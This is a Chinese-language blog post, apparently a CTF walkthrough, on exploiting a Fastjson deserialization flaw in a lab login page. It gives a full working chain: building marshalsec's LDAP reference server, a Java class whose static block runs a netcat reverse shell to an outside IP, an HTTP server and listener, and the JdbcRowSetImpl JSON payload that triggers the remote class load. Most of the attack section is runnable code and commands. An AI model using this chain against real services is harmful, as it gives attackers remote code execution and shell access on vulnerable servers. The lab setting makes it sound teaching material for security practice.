Java Fastjson Unserialize


1.打开靶场

打开题目网站,发现一个登陆页面,先来波 bp。bp 抓包后发现,这个发送的 json 信息,结合题目给出的 fastjson 反序列化,应该就是直接在这个参数上传 payload 了。不慌,先发送下看下回复。

没错,这个是源码。先打开看下,是否存在有用的信息。

2.借助marshalsec项目,编译一个ldap服务器

git clone https://github.com/mbechler/marshalsec

编译 marshalsec-0.0.3-SNAPSHOT-all.jar 没有mvn可以apt install maven安装

mvn clean package -DskipTests

3.编译 class文件,进行反弹shell

// test.java
import java.lang.Runtime;
import java.lang.Process;

public class test {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
           // 换成自己服务器的公网IP
            String commands = "nc 47.104.45.26 6666  -e /bin/sh";
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            System.out.println("error!");
        }
    }
}

安装java8来编译

apt update
apt install -y openjdk-8-jdk
javac test.java

会在当前目录生成一个 test.class 的文件, 待会有大用!

4.启动一个HTTP服务(在 test.class 所在目录使用这句命令)

python3 -m http.server 7777

5.开启nc监听。

nc -lvnp 6666

6.开启 ldap 服务转发。使靶机通过 ldap 服务访问重定向到 test.class 文件。

java -cp target/marshalsec/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://47.104.45.26:7777/#test" 9999

{
    "user":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "pwd":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://47.104.45.26:9999/test",
        "autoCommit":true
    }
}

7.发送后 Response 无回复说明已经连接上 vps 上的 nc 端口

8.成功读取 flag。

参考文件结构,按照步骤来就能成功读取flag

├── marshalsec
│   └── target
│       ├── marshalsec-0.0.3-SNAPSHOT-all.jar
├── test.class
└── test.java

参考链接:


文章作者: kukuqi666
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 kukuqi666 !
评论
  目录